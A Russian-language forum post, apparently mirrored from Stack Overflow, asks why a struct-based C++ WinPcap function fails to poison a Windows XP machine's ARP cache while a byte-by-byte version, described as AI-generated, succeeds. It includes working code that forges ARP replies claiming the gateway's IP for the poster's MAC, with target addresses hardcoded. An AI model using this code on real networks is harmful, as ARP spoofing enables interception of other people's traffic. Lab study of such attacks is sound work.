Проблема с подделкой ARP-пакета C++ pcap: IP/MAC-адреса не распознаныC++

Программы на C++. Форум разработчиков
Ответить
Anonymous
 Проблема с подделкой ARP-пакета C++ pcap: IP/MAC-адреса не распознаны

Сообщение Anonymous »

Я работаю над проектом подмены ARP с использованием C++ и библиотеки WinPcap. У меня возникла проблема, когда два, казалось бы, идентичных метода создания пакета ARP приводят к разному поведению в Wireshark и на компьютере жертвы (Windows XP).
Содержимое пакета ARP при просмотре в Wireshark и в виде необработанного шестнадцатеричного дампа идентично для обоих методов (как показано на прикрепленном изображении, правильные.pcapng и проблема.pcapng имеют одинаковые необработанные данные). Однако только метод конструирования на уровне байтов вручную корректно анализируется Wireshark (правильно показывает IP/MAC-адреса) и фактически отравляет ARP-кеш жертвы. Метод копирования на основе структуры не распознается, адреса отображаются как простые шестнадцатеричные значения, а кэш ARP не обновляется.
[! введите описание изображения здесь](https://i.sstatic.net/wjjMC8xY.png)
Соответствующий код C++:
  • Определение структуры:

Код: Выделить всё

//以太帧
typedef struct _eth_header {
unsigned char dst_mac[6];
unsigned char src_mac[6];
unsigned short type;
} ETH_HEADER;
//ARP
#pragma pack(push, 1)
typedef struct _arp_hreader {
unsigned short hardware_type;//硬件类型
unsigned short protocol_type;//协议类型
unsigned char hardware_len;//硬件地址长度
unsigned char protocol_len;//协议地址长度
unsigned short option;//ARP请求为1,ARP应答为2
unsigned char src_mac[6];//源MAC
unsigned long src_ip;//源IP
unsigned char dst_mac[6];//目的MAC
unsigned long dst_ip;//目的IP
}ARP_HEADER;
#pragma pack(pop)

typedef struct _arp_packet {
ETH_HEADER eth_header;
ARP_HEADER arp_header;
}ARP_PACKET;
  • Декларация:

Код: Выделить всё

const char* srcip = "10.122.252.165";  //10.122.252.165
u_char SRC_MAC[6] = {0x28, 0x6B, 0x35, 0x58, 0xD2, 0xC5};//本机MAC 28-6B-35-58-D2-C5

const char* victimip = "192.168.126.136"; // 192.168.126.136
u_char VICTIM_MAC[6] = {0x00, 0x0C, 0x29, 0x4F, 0x9F, 0x3E};//靶机MAC 00 0C 29 4F 9F 3E

const char* getwayip = "192.168.126.2"; //192.168.126.2
u_char GETWAY_MAC[6] = {0x00, 0x50, 0x56, 0xE4, 0x1A, 0xA9};// 00 50 56 e4 1a a9

u_char FAKE_MAC[6] = "";//不存在的MAC
  • Код ошибки:

Код: Выделить всё

void InitARPHeader(u_char* tmpBuf) {

ARP_HEADER arp_header;

arp_header.hardware_type = htons(0x0001);
arp_header.protocol_type = htons(0x0008);
arp_header.hardware_len = 6;
arp_header.protocol_len = 4;

arp_header.option = htons(0x0002);

for (int i = 0; i < 6; i++) arp_header.src_mac[i] = SRC_MAC[i];
arp_header.src_ip = inet_addr(getwayip);

for (int i = 0; i < 6; i++) arp_header.dst_mac[i] = VICTIM_MAC[i];
arp_header.dst_ip = inet_addr(victimip);

for (int i = 0; i < sizeof(arp_header); i++) tmpBuf[i] = ((unsigned char*)&arp_header)[i];
}
  • Правильный код (сгенерирован искусственным интеллектом):

Код: Выделить всё

void InitARPHeader(u_char* tmpBuf) {
tmpBuf[0] = 0x00; tmpBuf[1] = 0x01;
// protocol type = 0x0800 (IPv4)
tmpBuf[2] = 0x08; tmpBuf[3] = 0x00;
// hw len, proto len
tmpBuf[4] = 6; tmpBuf[5] = 4;
// opcode = 2 (ARP reply)
tmpBuf[6] = 0x00; tmpBuf[7] = 0x02;

// sender MAC (6 bytes) -- we want to claim gateway IP maps to our MAC
memcpy(tmpBuf + 8, SRC_MAC, 6);

// sender IP (4 bytes) -- use gateway IP in network byte order
in_addr gw;
gw.s_addr = inet_addr(getwayip); // already network byte order
memcpy(tmpBuf + 14, &gw.s_addr, 4);

// target MAC (6 bytes) -- victim MAC
memcpy(tmpBuf + 18, VICTIM_MAC, 6);

// target IP (4 bytes)
in_addr vic;
vic.s_addr = inet_addr(victimip);
memcpy(tmpBuf + 24, &vic.s_addr, 4);
}
Вопросы:
  • Почему существует разница между IP и MAC при идентификации WireShark пакетов ARP?
  • Как мы можем более стандартизированно обрабатывать подобные структуры в программировании? На какие документы мы можем ссылаться?
  • Проблема с заполнением заголовка ARP или обработкой пакета ARP системой Win XP?
  • Более глубокий принцип
  • Полезный ответ
  • Правильные методы программирования


Подробнее здесь: https://stackoverflow.com/questions/797 ... recognized
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C++»